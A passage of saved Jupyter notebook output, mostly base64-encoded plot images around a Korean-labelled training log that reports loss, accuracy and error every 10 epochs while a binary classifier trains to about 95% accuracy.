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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "0 0.06942999362945557\n", "(2000,) (2000, 2)\n", "Epoch: 0, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.713451087474823 0.6675000190734863 0.33249998092651367\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.6363537311553955 0.6700000166893005 0.32999998331069946\n", "Epoch: 10, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.44931599497795105 0.8050000071525574 0.19499999284744263\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.49868303537368774 0.862500011920929 0.13749998807907104\n", "Epoch: 20, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.3577180504798889 0.8669999837875366 0.13300001621246338\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.3251877725124359 0.8824999928474426 0.11750000715255737\n", "Epoch: 30, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.3731018900871277 0.9185000061988831 0.08149999380111694\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.31812891364097595 0.9200000166893005 0.07999998331069946\n", "Epoch: 40, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.15985578298568726 0.9300000071525574 0.06999999284744263\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.19811034202575684 0.9100000262260437 0.0899999737739563\n", "Epoch: 50, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.13485193252563477 0.9470000267028809 0.05299997329711914\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.21199800074100494 0.949999988079071 0.050000011920928955\n", "Epoch: 60, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.14401564002037048 0.9610000252723694 0.038999974727630615\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.1006280854344368 0.9700000286102295 0.029999971389770508\n", "Epoch: 70, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.16421598196029663 0.9520000219345093 0.04799997806549072\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.08329711854457855 0.9700000286102295 0.029999971389770508\n", "Epoch: 80, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1754550188779831 0.9445000290870667 0.05549997091293335\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.1389874964952469 0.9524999856948853 0.047500014305114746\n", "Epoch: 90, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.11810377985239029 0.9445000290870667 0.05549997091293335\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.23509521782398224 0.9300000071525574 0.06999999284744263\n", "Epoch: 100, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12171807140111923 0.9570000171661377 0.042999982833862305\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.196007639169693 0.9549999833106995 0.04500001668930054\n", "Epoch: 110, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.19529449939727783 0.9480000138282776 0.05199998617172241\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.1596141755580902 0.949999988079071 0.050000011920928955\n", "Epoch: 120, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.11735137552022934 0.9620000123977661 0.03799998760223389\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.30895063281059265 0.9474999904632568 0.052500009536743164\n", "Epoch: 130, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.03088948130607605 0.9520000219345093 0.04799997806549072\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.1170899048447609 0.9375 0.0625\n", "Epoch: 140, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06749513745307922 0.9480000138282776 0.05199998617172241\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.05262584984302521 0.9474999904632568 0.052500009536743164\n", "Epoch: 150, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.08556637167930603 0.9524999856948853 0.047500014305114746\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.05931038409471512 0.9725000262260437 0.0274999737739563\n", "Epoch: 160, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.12155170738697052 0.9419999718666077 0.058000028133392334\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.1294981688261032 0.9375 0.0625\n", "Epoch: 170, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.21026311814785004 0.9505000114440918 0.0494999885559082\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09255848824977875 0.9449999928474426 0.05500000715255737\n", "Epoch: 180, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.2265966683626175 0.9380000233650208 0.06199997663497925\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.19788873195648193 0.9474999904632568 0.052500009536743164\n", "Epoch: 190, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.13779620826244354 0.9480000138282776 0.05199998617172241\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03673088923096657 0.9599999785423279 0.04000002145767212\n", "Epoch: 200, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.08747638016939163 0.9509999752044678 0.04900002479553223\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0851469561457634 0.9624999761581421 0.03750002384185791\n", "Epoch: 210, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.10486651957035065 0.9480000138282776 0.05199998617172241\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.041890256106853485 0.949999988079071 0.050000011920928955\n", "Epoch: 220, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.29129403829574585 0.9445000290870667 0.05549997091293335\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.11858902871608734 0.9325000047683716 0.06749999523162842\n", "Epoch: 230, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.08517143130302429 0.9459999799728394 0.054000020027160645\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.10295276343822479 0.9449999928474426 0.05500000715255737\n", "Epoch: 240, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.06259546428918839 0.9545000195503235 0.045499980449676514\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2463691532611847 0.9624999761581421 0.03750002384185791\n", "Epoch: 250, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.18224778771400452 0.9455000162124634 0.05449998378753662\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06176094710826874 0.9599999785423279 0.04000002145767212\n", "Epoch: 260, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09037598967552185 0.9520000219345093 0.04799997806549072\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07569026947021484 0.9399999976158142 0.06000000238418579\n", "Epoch: 270, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.08388441056013107 0.9445000290870667 0.05549997091293335\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.029924193397164345 0.9700000286102295 0.029999971389770508\n", "Epoch: 280, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1776742786169052 0.9524999856948853 0.047500014305114746\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.053149010986089706 0.9449999928474426 0.05500000715255737\n", "Epoch: 290, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.053326576948165894 0.9610000252723694 0.038999974727630615\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06283789873123169 0.9474999904632568 0.052500009536743164\n", "Epoch: 300, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09468726813793182 0.9480000138282776 0.05199998617172241\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.04781227931380272 0.9700000286102295 0.029999971389770508\n", "Epoch: 310, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.13729441165924072 0.9459999799728394 0.054000020027160645\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.25084787607192993 0.949999988079071 0.050000011920928955\n", "Epoch: 320, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09926337003707886 0.953000009059906 0.046999990940093994\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09965697675943375 0.949999988079071 0.050000011920928955\n", "Epoch: 330, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.10498157888650894 0.9580000042915344 0.041999995708465576\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.18884161114692688 0.9375 0.0625\n", "Epoch: 340, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.09182824194431305 0.9505000114440918 0.0494999885559082\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09010636806488037 0.9624999761581421 0.03750002384185791\n", "Epoch: 350, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.07412885129451752 0.9509999752044678 0.04900002479553223\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.5550956130027771 0.9449999928474426 0.05500000715255737\n", "Epoch: 360, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.16509154438972473 0.9605000019073486 0.03949999809265137\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.34836819767951965 0.9700000286102295 0.029999971389770508\n", "Epoch: 370, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.25424250960350037 0.9495000243186951 0.05049997568130493\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.32652851939201355 0.9524999856948853 0.047500014305114746\n", "Epoch: 380, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.11499598622322083 0.9484999775886536 0.051500022411346436\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.1169542446732521 0.9449999928474426 0.05500000715255737\n", "Epoch: 390, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.11674961447715759 0.9505000114440918 0.0494999885559082\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.16631168127059937 0.9624999761581421 0.03750002384185791\n", "Epoch: 400, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.07049631327390671 0.9465000033378601 0.05349999666213989\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.057353366166353226 0.9275000095367432 0.07249999046325684\n", "Epoch: 410, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.15348172187805176 0.9394999742507935 0.06050002574920654\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07450813055038452 0.9574999809265137 0.04250001907348633\n", "Epoch: 420, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0899844765663147 0.9470000267028809 0.05299997329711914\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07246017456054688 0.9624999761581421 0.03750002384185791\n", "Epoch: 430, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.14558832347393036 0.9495000243186951 0.05049997568130493\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06690008193254471 0.949999988079071 0.050000011920928955\n", "Epoch: 440, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.11594671756029129 0.9495000243186951 0.05049997568130493\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.20600342750549316 0.9574999809265137 0.04250001907348633\n", "Epoch: 450, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.2755686938762665 0.9440000057220459 0.0559999942779541\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03466612100601196 0.9549999833106995 0.04500001668930054\n", "Epoch: 460, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.18526780605316162 0.9459999799728394 0.054000020027160645\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.08347354829311371 0.9449999928474426 0.05500000715255737\n", "Epoch: 470, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.13265438377857208 0.9495000243186951 0.05049997568130493\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.15368525683879852 0.9725000262260437 0.0274999737739563\n", "Epoch: 480, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1339419037103653 0.9524999856948853 0.047500014305114746\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.21618914604187012 0.9424999952316284 0.05750000476837158\n", "Epoch: 490, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.1555965393781662 0.9520000219345093 0.04799997806549072\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09328702092170715 0.9574999809265137 0.04250001907348633\n" ] }, { "data": { "image/png": "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